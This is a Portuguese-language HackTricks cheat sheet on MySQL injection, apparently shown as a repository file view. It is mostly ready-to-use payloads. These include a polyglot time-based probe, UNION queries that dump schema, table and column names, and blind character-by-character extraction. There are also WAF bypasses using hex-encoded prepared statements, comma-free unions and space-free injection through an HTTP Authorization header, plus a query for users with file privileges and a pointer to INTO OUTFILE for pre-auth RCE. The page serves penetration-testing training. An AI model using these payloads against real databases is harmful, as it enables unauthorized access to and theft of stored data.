184 lines
7.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MySQL injection
{{#include ../../../banners/hacktricks-training.md}}
## Comentários
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## Funções Interessantes
### Confirmar Mysql:
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
### Funções úteis
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Todas as injeções
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Fluxo
Lembre-se de que nas versões "modernas" do **MySQL** você pode substituir "_**information_schema.tables**_" por "_**mysql.innodb_table_stats**_**"** (Isso pode ser útil para contornar WAFs).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Apenas 1 valor**
- `group_concat()`
- `Limit X,1`
### **Cego um por um**
- `substr(version(),X,1)='r'` ou `substring(version(),X,1)=0x70` ou `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Cego adicionando**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Detectar número de colunas
Usando um simples ORDER
```
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Baseado em União
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Aprenda aqui diferentes opções para** [**abusar de uma injeção Mysql para obter um SSRF**](mysql-ssrf.md)**.**
## Truques de bypass de WAF
### Executando consultas através de Declarações Preparadas
Quando consultas empilhadas são permitidas, pode ser possível contornar WAFs atribuindo a uma variável a representação em hex do comando que você deseja executar (usando SET), e então usar as declarações MySQL PREPARE e EXECUTE para, em última análise, executar a consulta. Algo assim:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Para mais informações, consulte [este post no blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Alternativas ao information_schema
Lembre-se de que nas versões "modernas" do **MySQL** você pode substituir _**information_schema.tables**_ por _**mysql.innodb_table_stats**_ ou por _**sys.x$schema_flattened_keys**_ ou por **sys.schema_table_statistics**.
### MySQLinjection sem VÍRGULAS
Selecione 2 colunas sem usar nenhuma vírgula ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Recuperando valores sem o nome da coluna
Se em algum momento você souber o nome da tabela, mas não souber o nome das colunas dentro da tabela, você pode tentar descobrir quantas colunas existem executando algo como:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supondo que haja 2 colunas (sendo a primeira o ID) e a outra o flag, você pode tentar fazer brute force no conteúdo do flag tentando caractere por caractere:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Mais informações em [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Injeção sem ESPAÇOS (`/**/` truque de comentário)
Algumas aplicações sanitizam ou analisam a entrada do usuário com funções como `sscanf("%128s", buf)` que **param no primeiro caractere de espaço**.
Como o MySQL trata a sequência `/**/` como um comentário *e* como espaço em branco, ela pode ser usada para remover completamente os espaços normais da carga útil enquanto mantém a consulta sintaticamente válida.
Exemplo de injeção cega baseada em tempo contornando o filtro de espaço:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Qual o banco de dados recebe como:
```sql
' OR SLEEP(5)-- -'
```
Isso é especialmente útil quando:
* O buffer controlável é restrito em tamanho (por exemplo, `%128s`) e espaços terminariam prematuramente a entrada.
* Injetando através de cabeçalhos HTTP ou outros campos onde espaços normais são removidos ou usados como separadores.
* Combinado com primitivas `INTO OUTFILE` para alcançar RCE total pré-autenticação (veja a seção MySQL File RCE).
---
### História do MySQL
Você pode ver outras execuções dentro do MySQL lendo a tabela: **sys.x$statement_analysis**
### Versão alternativa**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Outros guias de injeção MYSQL
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Referências
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}